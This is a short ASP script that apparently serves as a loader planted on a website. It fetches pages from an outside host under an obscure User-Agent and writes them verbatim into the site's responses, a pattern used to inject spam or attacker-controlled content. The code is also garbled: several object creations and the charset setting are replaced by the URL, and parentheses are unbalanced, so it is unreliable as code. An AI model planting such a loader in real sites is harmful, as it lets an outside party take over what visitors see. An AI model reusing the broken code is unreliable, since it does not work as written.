<% server.Scripttimeout=999999 uiuijkjkrertt = "http://www4.cdtsjy.cn/" host_name= "http://www4.cdtsjy.cn/") Remote_file = "http://www4.cdtsjy.cn/") Content_mb=GetHtml(Remote_file) response.write Content_mb %> <% Function GetHtml(url) Set ObjXMLHTTP= "http://www4.cdtsjy.cn/") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = "http://www4.cdtsjy.cn/") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "http://www4.cdtsjy.cn/" GetHtml = objStream.ReadText objStream.Close End Function %>